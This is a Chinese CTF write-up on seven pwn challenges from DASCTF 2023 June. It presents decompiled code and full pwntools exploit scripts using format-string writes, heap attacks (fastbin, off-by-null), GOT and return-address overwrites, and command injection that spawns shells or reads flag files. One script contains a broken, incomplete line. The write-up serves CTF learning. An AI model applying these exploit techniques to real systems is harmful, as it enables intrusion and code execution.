[DASCTF 2023六月挑战赛|二进制专项] 5个pwn

一天的比赛太累了,才干了5个

foooood

这个题基本上弄了半天,有个小弯一直没绕过来,卡住了回头其实挺难的。本来不复杂。

先看题

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-Ch]

  Init(argc, argv, envp);
  puts("Have you heard about YANGSHEN?");
  puts("YangShen said that he want to know your name.");
  printf("Give me your name:");
  getstring((__int64)name, 32);
  printf("Hello %s\n", name);
  for ( i = 3; i > 0; --i )
  {
    printf(
      "Now, you have %d times to tell me what is your favourite food!\nwhat's your favourite food: ",
      (unsigned int)i);
    getstring((__int64)food, 32);
    printf("You like ");
    printf(food);
    puts("!?\nI like it too!");
  }
  return 0;
}

题很短,都在一页上。有以3次格式化字符串。感觉3次确实有点少,想用one_gadget结果就走远了。这题可能还真不行,试了几个加上偏移都没成。

最后直接写ROP成功。

思路:

  1. 泄露地址,这个比较简单,结果一开始忘了patchelf结果偏移跟远程不同。由于有32字节长,可以轻松得到elf,libc,stack等
  2. 找一条链,由于数据没写到栈上,所以需要栈上的指针写,一般常规的方法是用argv[0],偏移17处是一个指向argv[0]字符串指针的指针: 11->37->pwn ,先通过17将37修改为指向目的地址,然后就可以改栈上数据了。
  3. 这里3次已经用了两次,最后一次用作修改次数,将i改大。改多大,最后走着看。
  4. 次数改大后,就可以在后边写payload,i用完返回时得到shell
  5. 这里还有个坑,就是这个链距离ret太近了,会被ROP覆盖,所以中间需要换一个链,反正次数可以无限,问题也不大。改用17-37这条链
from pwn import *


#p = process('./pwn')
p = remote('node4.buuoj.cn', 25515)
context(arch='amd64', log_level='debug')
#libc = ELF('./libc.so.6')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

#gdb.attach(p, "b*0x0000555555400b5b\nc")

p.sendlineafter(b"Give me your name:", b'A')

pay = b'%9$p,%11$p,%17$p,%37$p,%27$p,'
p.sendlineafter(b"what's your favourite food: ", pay)
p.recvuntil(b"You like ")
libc.address = int(p.recvuntil(b',', drop=True), 16) - 0x20830 #libc.sym['__libc_start_call_main'] -122
stack = int(p.recvuntil(b',', drop=True), 16) - 0xe0

'''
0x00007fffffffdea0│+0x0000: 0x00000003ffffdf90   ← $rsp
0x00007fffffffdea8│+0x0008: 0x60df366da3b0af00
0x00007fffffffdeb0│+0x0010: 0x0000555555400b60  →  <__libc_csu_init+0> push r15  ← $rbp
0x00007fffffffdeb8│+0x0018: 0x00007ffff7820830  →  <__libc_start_main+240> mov edi, eax                   #9
0x00007fffffffdec0│+0x0020: 0x0000000000000000
0x00007fffffffdec8│+0x0028: 0x00007fffffffdf98  →  0x00007fffffffe2df  →  0x4f43006e77702f2e ("./pwn"?)   #11  -> 37
0x00007fffffffded0│+0x0030: 0x0000000100000000
0x00007fffffffded8│+0x0038: 0x0000555555400a67  →  <main+0> push rbp
0x00007fffffffdee0│+0x0040: 0x0000000000000000
0x00007fffffffdee8│+0x0048: 0x4658139bb6e2ad27
0x00007fffffffdef0│+0x0050: 0x0000555555400820  →  <_start+0> xor ebp, ebp
0x00007fffffffdef8│+0x0058: 0x00007fffffffdf90  →  0x0000000000000001                                     #17  -> 27
0x00007fffffffdf00│+0x0060: 0x0000000000000000
'''

pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload = flat(pop_rdi-0x10, bin_sh-0x10, libc.sym['system']-0x10)


#set i=100
v1 = (stack-20) & 0xffff
pay = f"%{v1}c%11$hn"
p.sendlineafter(b"what's your favourite food: ", pay.encode())
p.recvuntil(b"!?\n")

pay = f"%{3 + len(payload)*2}c%37$hn"
p.sendlineafter(b"what's your favourite food: ", pay.encode())
p.recvuntil(b"!?\n")

one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
gadget = libc.address + one[0]


def set_v(off, v2, a1=17):
    v1 = (stack+off) & 0xff
    if v1==0:
        pay = f"%{a1}$hhn"
    else:
        pay = f"%{v1}c%{a1}$hhn"
    p.sendlineafter(b"what's your favourite food: ", pay.encode())
    p.recvuntil(b"!?\n")

    if v2 == 0:
        pay = f"%37$hhn"
    else:
        pay = f"%{v2}c%37$hhn"
    p.sendlineafter(b"what's your favourite food: ", pay.encode())
    p.recvuntil(b"!?\n")

set_v(0x40, (stack+0xe0)&0xff, 11)


for i in range(len(payload)):
    set_v(i, payload[i])
    
p.interactive()

easynote

这是个堆题,功能还挺全。add,free,show,edit都有,漏洞在edit上,在edit时可以输入长度,导致溢出。

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+8h] [rbp-18h]
  unsigned int nbytes; // [rsp+Ch] [rbp-14h]
  char nbytes_4; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Index --->");
  read(0, &nbytes_4, 4uLL);
  v1 = atoi(&nbytes_4);
  if ( !*(&chunk_ptr + v1) )
  {
    puts("Are you kididng me?");
    exit(0);
  }
  puts("The length of your content --->");
  read(0, &nbytes_4, 4uLL);                     // 有溢出
  nbytes = atoi(&nbytes_4);
  puts("Content --->");
  read(0, *(&chunk_ptr + v1), nbytes);
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

由于题目PIE未开,所以这里有一条捷径。

先fastbin attack把块建到ptr上,然后就可以修改指针,直接指向got表show得到libc然后改free到system

from pwn import *


#p = process('./pwn')
p = remote('node4.buuoj.cn', 28943)
context(arch='amd64', log_level='debug')
#libc = ELF('./libc.so.6')
elf = ELF('./pwn')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

#gdb.attach(p, "b*0x0000555555400b5b\nc")

menu = b"5. exit\n"
def add(size, msg=b'A'):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"The length of your content --->\n", str(size).encode())
    p.sendafter(b"Content --->\n", msg)

def edit(idx, msg):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index --->", str(idx).encode())
    p.sendlineafter(b"The length of your content --->\n", str(len(msg)).encode())
    p.sendafter(b"Content --->\n", msg)

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index --->", str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index --->", str(idx).encode())

add(0x68)
add(0x68)
add(0x80)
add(0x68)

free(1)
free(0)
#show(0)

edit(0, p64(0x60209d))  #自用stderr 指针错位的7f在ptr上方建块,覆盖指针区

add(0x68)
add(0x68)
edit(5, b'A'*3 + flat(0,0,0x6020c8, elf.got['free'], 0x6020d8, b'/bin/sh\x00'))

#gdb.attach(p)
#pause()

'''
0x6020c0 <chunk_ptr>:           0x00000000006020c8      0x0000000000602018
0x6020d0 <chunk_ptr+16>:        0x00000000006020d8      0x0068732f6e69622f
0x6020e0 <chunk_ptr+32>:        0x0000000000603010      0x00000000006020ad
'''
show(1)
p.recvuntil(b"Content: ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['free']
print(f"{ libc.address = :x}")

edit(1, p64(libc.sym['system']))
free(2)

p.interactive()

can_you_find_me

这题没有给libc但是给了Docker文件,文件里ubuntu 18.04 应该是2.27-3u1(这里有个坑,这题用的是3u1.6 从这个版本开始tcache就开始检查double free了)

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  Init();
  while ( 1 )
  {
    while ( 1 )
    {
      View();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 1 )
        break;
      add();
    }
    if ( v3 == 2 )
    {
      del();
    }
    else
    {
      if ( v3 == 3 )
        exit(0);
      puts("Invalid Choice");
    }
  }
}

从main看,只有add和free两个功能,free清理指针没有问题,问题在于add里写数据后在末位加0

int add()
{
  unsigned int size; // [rsp+0h] [rbp-10h] BYREF
  int size_4; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);                    // 16次
  if ( !add_t )
  {
    puts("You wanna fool me?");
    exit(0);
  }
  for ( size_4 = 0; ; ++size_4 )
  {
    if ( size_4 > 9 )
      return puts("You wanna fool me?");
    if ( !chunk_list[size_4] )
      break;
  }
  printf("Size:");
  __isoc99_scanf("%d", &size);
  if ( size > 0x800 )
    exit(0);
  chunk_list[size_4] = malloc(size);
  if ( !chunk_list[size_4] )
    exit(0);
  printf("Data:");
  pushinfo(chunk_list[size_4], size);           // 固定off_by_null 
  chunk_size[size_4] = size;
  --add_t;
  return puts(":)");
}

__int64 __fastcall pushinfo(__int64 a1, unsigned int a2)
{
  unsigned int v3; // [rsp+4h] [rbp-1Ch]
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  unsigned int v5; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v3 = a2;
  v6 = __readfsqword(0x28u);
  v5 = a2;
  while ( v3 )
  {
    read(0, &buf, 1uLL);
    if ( buf == 10 )
      break;
    *(_BYTE *)(a1 + v5 - (unsigned __int64)v3--) = buf;
  }
  *(_BYTE *)(v5 + a1) = 0;     //在长度后加0
  return v5 - v3;
}

而且free有次数限制,这题比较黑,正常情况下off_by_null,需要7次

没有edit,unlink到_IO_2_1_stdout_  修改值需要free再add比较浪费次数。

思路:

  1. unlink这块两头用通进unsort的大块(0x410,0x4f0),中间布置3个(0x20,0x20,0x30)块用于重叠修改,可以减少一次free,先释放0,再释放3重建修改pre_size和head(0x501改为0x500)然后释放4发生unlink,unsort向前合并,3个未释放的小块包含在内,再建时形成重叠。
  2. 先将1释放(tcache存指针)再建0x410的块,将unsort指针挤到刚释放块的位置,建个不同的块(保留原来0x30块的tcache项)修改unsort的指针残留为_IO_2_1_stdout_,这里需要爆破。1/16的概率。
  3. 再建两次0x30的块,如果爆破成功就会将块建到_IO_2_1_stdout_上,然后写头+000+58会输出一堆数据,里边第1个是_IO_file_jumps
  4. 释放0(开始的3)大小0x40,这时候刚才释放的unsort还在,通过建大点的块在这个位置写入fd,再建 0x40大的块就通把system写入__free_hook

这几个块都需要错开,不然会发生double free这是1.6新加的检查。

from pwn import *

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28393)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

menu = b"choice:"
def add(size, msg=b'A\n'):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Size:", str(size).encode())
    p.sendafter(b"Data:", msg)

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index:", str(idx).encode())

def pwn():
    add(0x410) #0
    add(0x20)  #1
    add(0x20)  #2
    add(0x30)  #3
    add(0x4f0) #4
    add(0x20, b'/bin/sh\x00\n') #5
    free(0)
    free(3)
    add(0x38, b'\x00'*0x30 + p64(0x420+0x30+0x30+0x40))  #0
    free(4)

    free(1)
    add(0x410) #1
    add(0x10, p16(0xc760)+ b'\n') #3
    add(0x20) #4
    add(0x27, flat(0xfbad1887, 0, 0, 0)+ b'\x58\n') #6
    libc.address = u64(p.recv(8)) - libc.sym['_IO_file_jumps']
    print(f"{libc.address = :x}")
    
    one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]

    free(0)
    add(0x50, b'\x00'*0x38 + p64(0x41) + p64(libc.sym['__free_hook'])+b'\n')

    add(0x30)
    add(0x30, flat(libc.sym['system'])+ b'\n')

    free(5)

    p.sendline(b'cat flag*')
    p.interactive()

while True:
    try:
        pwn()
    except:
        p.close()
        print('....')

Approoooooooaching

这名字好长,但答案好短

这个主要是看代码的工夫。这是个虚拟机的题,add,edit可以输入数据到堆里,然后read_do把输入的数据翻译一下,再由vm执行。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init_0();
  puts("Hello, world!");
  v4 = 0;
  while ( 1 )
  {
    puts("Give me your choice: ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        m1add();
        break;
      case 2:
        m2edit("%d", &v4);
        break;
      case 3:
        read_do("%d", &v4);
        break;
      case 4:
        vm("%d", &v4);
        break;
      case 5:
        sub_19BE("%d", &v4);
        return 0LL;
      default:
        printf("Error chooice");
        break;
    }
  }
}

这里的功能只有8个:!i$#xy*@ 对应功能1-8,执行++ptr,--ptr,++*ptr,--*ptr,write_c,read_c,jz,jnz

有个坑点就是指针是word型的每次移动2字节,但输出和写入只有1个字节。

在跟进后发现这个ptr指向栈项。只要向前移4次就能写到ret的位置。

在函数列表里有system,但是并没有发现含system的函数,在代码里找,果然有一段被ida跳过了。

.text:00000000000019D8                               ; =============== S U B R O U T I N E =======================================
.text:00000000000019D8
.text:00000000000019D8                               ; Attributes: bp-based frame
.text:00000000000019D8
.text:00000000000019D8                               sub_19D8 proc near
.text:00000000000019D8                               ; __unwind {
.text:00000000000019D8 F3 0F 1E FA                   endbr64
.text:00000000000019DC 55                            push    rbp
.text:00000000000019DD 48 89 E5                      mov     rbp, rsp
.text:00000000000019E0 48 8D 05 39 07 00 00          lea     rax, command                    ; "/bin/sh"
.text:00000000000019E7 48 89 C7                      mov     rdi, rax                        ; command
.text:00000000000019EA B8 00 00 00 00                mov     eax, 0
.text:00000000000019EF E8 1C F7 FF FF                call    _system
.text:00000000000019EF
.text:00000000000019F4 90                            nop
.text:00000000000019F5 5D                            pop     rbp
.text:00000000000019F6 C3                            retn
.text:00000000000019F6                               ; } // starts at 19D8

生成函数头就能看到,它直接调用system(/bin/sh)就是个后门,而且后门离前门还不远。经测试19D8这个位置不能用,19E0这个位置能成功。数据就是向前移4次然后加57

from pwn import *

#p = process('./bf')
p = remote('139.155.140.235', 9999)
context(arch='amd64', log_level='debug')

def add(size):
    p.sendlineafter(b"Give me your choice: ", b'1')
    p.sendlineafter(b"size: ", str(size).encode())

def edit(msg):
    p.sendlineafter(b"Give me your choice: ", b'2')
    p.sendafter(b"text: ", msg.encode() + b'\x00')

def load():
    p.sendlineafter(b"Give me your choice: ", b'3')

def run_vm():
    p.sendlineafter(b"Give me your choice: ", b'4')

pay = 'i'*4     #向前移8字节
pay+= '$'*57    #ret尾自加57次 

add(0x200)
edit(pay)
load()
run_vm()

p.interactive()

Candy_shop

主菜单有3个功能,buy写一块数据,因为只有2块钱,所以只能写1次就没钱了。clear将刚才写的清0,gift有个printf但只能写8字节,实际长度是5,后边会点用canary,也就是再也回不去了,因为退出里会报错。gift可以用两次。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-14h]
  char v4[2]; // [rsp+11h] [rbp-Fh] BYREF
  char format[5]; // [rsp+13h] [rbp-Dh] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v3 = 2;
  init(argc, argv, envp);
  puts("This is a candy management.");
  puts("Version --3.1");
  while ( 1 )
  {
    while ( 1 )
    {
      view();
      getstring(v4, 2LL);
      if ( v4[0] != 'b' )
        break;
      buy_canary();
    }
    if ( v4[0] == 'e' )
    {
      eat_canary();                             // clear
    }
    else
    {
      if ( v4[0] != 'g' )
      {
        puts("Have a nice day and look forward to your next visit!");
        exit(0);
      }
      if ( v3 )
      {
        puts("Give me your name: ");
        getstring(format, 8LL);
        printf("booooo!!!!\nyou have received a gift:");
        printf(format);
        puts(&s);
        --v3;
      }
      else
      {
        puts("you have already received the gift!");
      }
    }
  }
}

初一看似乎无法完成,其实这个漏洞比较隐蔽,在buy的时候指针可以前溢出。适当调整可以写到got表。指针每次移动19字符,所以得找到合适的位置写才行。这里-10的时候会写到printf,这个函数被改后虽然也会报错,但不影响运行。

思路:

  1. 第1次用gift得到libc
  2. 然后buy -10 将system写到printf
  3. 第2次用gift用printf输出/bin/sh
from pwn import *

#p = process('./pwn')
p = remote('139.155.132.59', 9999)
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./pwn')

menu = b"option: "
def buy(idx, msg):
    p.sendlineafter(menu, b'b')
    p.sendlineafter(b"Which one you want to bye: ", b't')
    p.sendlineafter(b": ", str(idx).encode())
    p.sendafter(b": ", msg)

def clear():
    p.sendlineafter(menu, b'e')

def gift(msg):
    p.sendlineafter(menu, b'g')
    p.sendafter(b"Give me your name: ", msg.encode())
    p.recvuntil(b"booooo!!!!\nyou have received a gift:")

gift("%11$p\n")
libc.address = int(p.recvline(), 16) - 0x29d90
print(f"{libc.address = :x}")

buy(-10, b'\x00'*6 + p64(libc.sym['system'])+b'\n')  #将got.printf 改为system

p.sendline(b'g')
p.sendafter(b"Give me your name: ", b'/bin/sh\x00')  #运行printf

p.interactive()

后两个拿血的题都如此简单。还有8道没有头绪。等明天搜搜。

看了官方WP,复现两个作了但没作出来的,其它的过于复杂,基本上也就看不懂了。

noka

有add,show,door三个功能,door仅能用1次由0x404060控制,add将块指针写到4040b0上

思路是先把got.malloc改为read_n()这样每次add可以往一个地址里写一数据,不过由于read_n只能输入10个数字,不能向栈和libc写,然后写个got表地址show得到libc,由于只能用后门写ret所以后边每次要改一下404060再执行后门将返回地址改为rop

由于写入次数限制只能写3次,用pop_rdi_rbp来调栈对齐

from pwn import *
from base64 import *

p = process('./noka')
#p = remote('42.193.19.96', 9999)
context(arch='amd64', log_level='debug')

elf = ELF('./noka')
libc = ELF('./libc.so.6')

def add(addr, msg):
    p.sendlineafter(b"1. add\n2. show \n> ", b'1')
    p.sendlineafter(b"size: ", b'10') #nouse malloc->read_n()
    p.send(str(addr).encode())  
    p.sendlineafter(b"text: ", msg)

def door(v1, v2):
    p.sendlineafter(b"1. add\n2. show \n> ", b'3')
    p.sendlineafter(b"Break Point: ", str(v1).encode())
    p.sendlineafter(b"Break Value: ", str(v2).encode())
    
def show():
    p.sendlineafter(b"1. add\n2. show \n> ", b'2')
    p.recvuntil(b'text: ')

door(elf.got['malloc'], 0x401254)  #修改malloc->read_int() 每次add变为向4040b0写入一个地址

add(0x4040b0, p64(elf.got['read']))
show()
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['read']
print(f"{ libc.address = :x}")

#gdb.attach(p, "b*0x401453\nc")

add(0x4040b0, p64(libc.sym['_environ']))
show()
stack = u64(p.recv(6).ljust(8, b'\x00')) - 0x120
print(f"{ stack = :x}")

pop_rdi = libc.address + 0x000000000002a745 # pop rdi ; pop rbp ; ret
bin_sh  = next(libc.search(b'/bin/sh\x00'))

#add中的read_n()只读入10个字符,写不下64位地址,修改后门标记用后门写ROP
add(0x404060, b'A')
door(stack, pop_rdi)

add(0x404060, b'A')
door(stack+8, bin_sh)

add(0x404060, b'A')
door(stack+24, libc.sym['system'])

p.interactive()

server

这个原来如此简单,先是绕过文件名检查,虽然有好多绕过方法,这里可以不用,因为有snprintf有截断只要用./凑够长后边跟个一定存在的文件名即可比如..flag 或者..//.bin/sh

登录时只需要输入:'\ncat\tfl*\n 用\n来执行\t绕过空格,或者直接在这里输入'\n然后手工输入

from pwn import *

p = process('./pwn_7')
#p = remote('node4.buuoj.cn', 26345)
context(arch='amd64', log_level='debug')

p.sendlineafter(b"Your choice >> ", b'1')
p.sendlineafter(b"Please input the key of admin :", b'../../../../../..//bin/sh')

p.sendlineafter(b"Your choice >> ", b'2')
pay = 
p.sendlineafter(b"Please input the username to add : ", b"'\ncat\tfl*")   #在这里直接'\ncat\tfl*\n

p.interactive()

#..//flag

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值